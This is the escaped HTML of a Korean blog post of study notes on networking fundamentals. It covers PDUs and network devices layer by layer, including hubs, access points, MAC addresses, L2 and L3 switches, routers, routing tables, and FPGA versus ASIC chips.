&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- PDU: Protocol Data Unit, &lt;b&gt;네트워크 계층에서 처리하는 데이터 단위&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터를 제어하기 위해 필요한 정보를 담은 헤더, 데이터 그 자체를 의미하는 페이로드(Payload)로 구분&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 각 계층 별로 PDU 명칭이 다름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 4계층은 세그먼트(TCP), 데이터그램(UDP)로 구분됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1009&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIoE4X/btsNtsm3nCl/0joTpzcg8k2XkDVBHm4SWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIoE4X/btsNtsm3nCl/0joTpzcg8k2XkDVBHm4SWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIoE4X/btsNtsm3nCl/0joTpzcg8k2XkDVBHm4SWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIoE4X%2FbtsNtsm3nCl%2F0joTpzcg8k2XkDVBHm4SWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1009&quot; height=&quot;313&quot; data-origin-width=&quot;1009&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;네트워크 기기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 네트워크 기기: 계층 별로 존재하는 프로토콜에 따라 데이터를 전송하는 기기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 각 계층 별로 동작하는 네트워크 기기가 다름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- L7 기기는 L1 ~ L7 전부 다 사용 가능하지만, 전체 계층에서 사용하기에는 부하가 발생하므로 L7 에서만 사용&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;247&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diwiVA/btsNsmhfvnp/AbV4KPy7vPGh7nU8dyclI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diwiVA/btsNsmhfvnp/AbV4KPy7vPGh7nU8dyclI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diwiVA/btsNsmhfvnp/AbV4KPy7vPGh7nU8dyclI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiwiVA%2FbtsNsmhfvnp%2FAbV4KPy7vPGh7nU8dyclI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1008&quot; height=&quot;247&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;247&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- NIC(Network Interface Card): PC나 서버를 네트워크에 연결해주는 하드웨어 = 랜카드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- PC나 서버의 슬롯에 장착형, USB 포트형, 메인보드의 슬롯에 장착하거나 온보드로 부착된 형태가 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bupUvm/btsNsPcrkFC/f0JHGY84vhIv60QBbATv00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bupUvm/btsNsPcrkFC/f0JHGY84vhIv60QBbATv00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bupUvm/btsNsPcrkFC/f0JHGY84vhIv60QBbATv00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbupUvm%2FbtsNsPcrkFC%2Ff0JHGY84vhIv60QBbATv00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1008&quot; height=&quot;384&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;295&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bd8fIs/btsNsMtMTDY/zWqm31qBJSvN5N0bWkCzI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bd8fIs/btsNsMtMTDY/zWqm31qBJSvN5N0bWkCzI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bd8fIs/btsNsMtMTDY/zWqm31qBJSvN5N0bWkCzI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbd8fIs%2FbtsNsMtMTDY%2FzWqm31qBJSvN5N0bWkCzI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;676&quot; height=&quot;295&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;295&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;네트워크 기기 : L1&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 허브(Hub): 전달받은 패킷(비트)의 복사본을 &lt;b&gt;포트에 연결된 다른 모든 기기로 전송&lt;/b&gt;, 브로드캐스팅과 비슷&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 연결된 기기들이 네트워크 대역폭(Bandwidth)을 나눠서 쓰기 때문에 데이터 전송 성능이 떨어짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 대역폭: 네트워크 회선이 초당 처리할 수 있는 비트의 양, bps(bit per second)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 대역폭이 100mbps인 회선으로 허브에 5대 PC를 연결하면 PC당 20mbps 대역폭만 사용&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;795&quot; data-origin-height=&quot;248&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/86zXM/btsNt6Yr1j9/hu7RZGlj0B3o4znyfq9VL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/86zXM/btsNt6Yr1j9/hu7RZGlj0B3o4znyfq9VL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/86zXM/btsNt6Yr1j9/hu7RZGlj0B3o4znyfq9VL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F86zXM%2FbtsNt6Yr1j9%2Fhu7RZGlj0B3o4znyfq9VL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;248&quot; data-origin-width=&quot;795&quot; data-origin-height=&quot;248&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- AP(Access Point): 패킷을 전파로 바꿔서 송출하는 기기, 무선과 유선 사이의 다리 역할을 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 무선 WiFi 네트워크 환경에 반드시 필요한 네트워크 기기&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dAzRQY/btsNtOD5Lr4/TjRpGqrRkfXbRFBngkrkXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dAzRQY/btsNtOD5Lr4/TjRpGqrRkfXbRFBngkrkXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dAzRQY/btsNtOD5Lr4/TjRpGqrRkfXbRFBngkrkXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdAzRQY%2FbtsNtOD5Lr4%2FTjRpGqrRkfXbRFBngkrkXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;300&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;네트워크 기기 : L2&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MAC Address: Media Access Control Address, 컴퓨터들이 서로 데이터를 전송하기 위해 사용하는 물리적 주소로 NIC에 내장되어 있음. 그 기기만의 고유번호, 식별번호 등 기기를 구분하기 위한 주소로 사용됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MAC 주소: &lt;b&gt;랜카드에 저장되어 있는 고유의 식별번호(물리적 주소)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bscRT9/btsNts2mrZd/Bymb34AMPHtsCQyNvvqcDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bscRT9/btsNts2mrZd/Bymb34AMPHtsCQyNvvqcDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bscRT9/btsNts2mrZd/Bymb34AMPHtsCQyNvvqcDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbscRT9%2FbtsNts2mrZd%2FBymb34AMPHtsCQyNvvqcDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;776&quot; height=&quot;203&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이더넷(Ethernet): &lt;b&gt;네트워크 환경에서 데이터를 주고 받기 위한 가장 대표적인 기술 규격&lt;/b&gt;, 1980년에 상용화됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- UTP(Unshielded Twisted Pair) 케이블로 단말기와 네트워크 기기를 연결함 = 랜선&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- UTP 케이블의 숫자가 커질수록 전송할 수 있는 데이터량이 많아짐&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1048&quot; data-origin-height=&quot;345&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSQVtG/btsNsE3oc0n/wdW5qi3oJpKgi7nmJUadxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSQVtG/btsNsE3oc0n/wdW5qi3oJpKgi7nmJUadxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSQVtG/btsNsE3oc0n/wdW5qi3oJpKgi7nmJUadxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSQVtG%2FbtsNsE3oc0n%2FwdW5qi3oJpKgi7nmJUadxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1048&quot; height=&quot;345&quot; data-origin-width=&quot;1048&quot; data-origin-height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- L2 스위치(Switch): 단말기가 보낸 패킷(프레임)의 헤더에 있는 &lt;b&gt;MAC Address를 보고&lt;/b&gt; &lt;b&gt;같은 네트워크의 다른 단말기로 패킷을 전송&lt;/b&gt;, 이더넷(Ethernet) 규격을 사용하기에 이더넷 스위치라고도 부름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MAC Address Table: 포트번호와 MAC 주소를 저장한 테이블 = 컴퓨터의 MAC 주소가 등록되는 데이터베이스&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;977&quot; data-origin-height=&quot;397&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2xt6o/btsNvraS1D7/jltvets901ro4lXNpS7790/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2xt6o/btsNvraS1D7/jltvets901ro4lXNpS7790/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2xt6o/btsNvraS1D7/jltvets901ro4lXNpS7790/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2xt6o%2FbtsNvraS1D7%2Fjltvets901ro4lXNpS7790%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;977&quot; height=&quot;397&quot; data-origin-width=&quot;977&quot; data-origin-height=&quot;397&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;네트워크 기기 : L3&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IP Address: Internet Protocol Address, &lt;b&gt;서로 다른 네트워크에 연결되어 있는 컴퓨터들이 데이터를 전송하기 위해 사용하는 논리적 주소&lt;/b&gt;로 OS상에서 설정한 주소임&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Public IP Address: 공인 IP 주소, 네트워크와 외부의 네트워크가 통신하기 위해 사용(아파트 이름)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Private IP Address: 사설 IP 주소, 같은 네트워크 안에서 통신하기 위해 사용(아파트 동 호수)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1002&quot; data-origin-height=&quot;376&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckGuGn/btsNuxwGBG2/yByHpUb5vtEkk80KojseaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckGuGn/btsNuxwGBG2/yByHpUb5vtEkk80KojseaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckGuGn/btsNuxwGBG2/yByHpUb5vtEkk80KojseaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckGuGn%2FbtsNuxwGBG2%2FyByHpUb5vtEkk80KojseaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1002&quot; height=&quot;376&quot; data-origin-width=&quot;1002&quot; data-origin-height=&quot;376&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 라우터(Router): 단말기가 보낸 패킷(IP 패킷)의 헤더에 있는 &lt;b&gt;IP Address를 보고 다른 네트워크의 다른 단말기로 패킷을 전송&lt;/b&gt;(라우팅)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 라우팅 테이블(Routing Table): 네트워크상의&amp;nbsp;특정&amp;nbsp;목적지까지의&amp;nbsp;거리와&amp;nbsp;가는&amp;nbsp;방법등을&amp;nbsp;명시하고&amp;nbsp;있는&amp;nbsp;테이블&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 네트워크에서 목적지 주소를 목적지에 도달하기 위한 네트워크 노선으로 변환시키는 목적으로 사용됨, 각 라우터의 라우팅 테이블은 모든 목적지 정보에 대해 해당 목적지에 도달하기 위해서 거쳐야 할 다음 라우터의 정보를 가지고 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1017&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lG6Pf/btsNu5MYTW3/zVA0kVG3EwC9Gw7o3kBrd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lG6Pf/btsNu5MYTW3/zVA0kVG3EwC9Gw7o3kBrd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lG6Pf/btsNu5MYTW3/zVA0kVG3EwC9Gw7o3kBrd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlG6Pf%2FbtsNu5MYTW3%2FzVA0kVG3EwC9Gw7o3kBrd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1017&quot; height=&quot;395&quot; data-origin-width=&quot;1017&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- FPGA(Field Programmable Gate Array): 프로그래밍이 가능한 집적 회로 반도체, 용도에 따라 프로그래밍을 통해 기능을 변경할 수 있음 &amp;rarr; &lt;b&gt;커스텀이 가능한 반도체&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 프로토타입 용도 혹은 AI, 암호화폐 채굴기, DAC(Digital-to-Analog Converter, 디지털 신호를 아날로그 신호로 변환시키는 장치), 데이터 센터 그래픽 가속기 등 시스템의 높은 처리 능력과 변화에 용이한 유연성이 요구되는 분야를 위해 소량 생산하는 반도체&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;351&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YDUSl/btsNu2JTZLB/KMwdePRAwFKnsCgqd6Yox0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YDUSl/btsNu2JTZLB/KMwdePRAwFKnsCgqd6Yox0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YDUSl/btsNu2JTZLB/KMwdePRAwFKnsCgqd6Yox0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYDUSl%2FbtsNu2JTZLB%2FKMwdePRAwFKnsCgqd6Yox0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;351&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ASIC(Application-Specific Integrated Circuit): &lt;b&gt;특정 용도를 위해 설계된&lt;/b&gt; 주문형 집적회로 &lt;b&gt;반도체&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 한번 용도에 맞게 제작하면 다시 기능을 프로그래밍하거나 수정할 수 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 산업용 설비, 자동차 ECU(Electronic Control Unit), 의료장비, 비트코인 채굴기, 데이터 센터 TPU(TensorFlow Processor Unit), AMP(Amplifier)등 특정 목적을 위해 대량 생산하는 반도체&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;297&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8CLMJ/btsNvhUk3YL/cGWZOH2Lr2HplvLMplmc2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8CLMJ/btsNvhUk3YL/cGWZOH2Lr2HplvLMplmc2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8CLMJ/btsNvhUk3YL/cGWZOH2Lr2HplvLMplmc2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8CLMJ%2FbtsNvhUk3YL%2FcGWZOH2Lr2HplvLMplmc2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1183&quot; height=&quot;297&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;297&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FPGA = 커스텀이 가능한 반도체&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ASIC = 특정 용도에만 사용가능한 반도체&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- L3 스위치(Switch): &lt;b&gt;L2 스위치에 라우터 기능을 추가한 네트워크 기기&lt;/b&gt;, 다수의 포트가 있어 여러 단말기를 연결할 수 있으며 IP 패킷 라우팅도 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MAC Address Table과 Routing Table을 조합한 정보를 FPGA, ASIC과 같은 패킷 전송 처리 전용 하드웨어에 기록한 다음 스위칭 혹은 라우팅 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 라우팅 테이블의 정보를 반도체에 전달하여 반도체에서 기록 후 라우팅 함 &amp;rarr; 다른 네트워크로 데이터 전송 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- FPGA/ASIC 과 같은 반도체가 L3 스위치에 있어 데이터 처리 속도가 L2 스위치보다 훨씬 더 빠름, 고성능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1194&quot; data-origin-height=&quot;432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJBEIN/btsNvCpHdRd/gAZW28Gkryg9Mvh9sgtfhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJBEIN/btsNvCpHdRd/gAZW28Gkryg9Mvh9sgtfhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJBEIN/btsNvCpHdRd/gAZW28Gkryg9Mvh9sgtfhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJBEIN%2FbtsNvCpHdRd%2FgAZW28Gkryg9Mvh9sgtfhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1194&quot; height=&quot;432&quot; data-origin-width=&quot;1194&quot; data-origin-height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
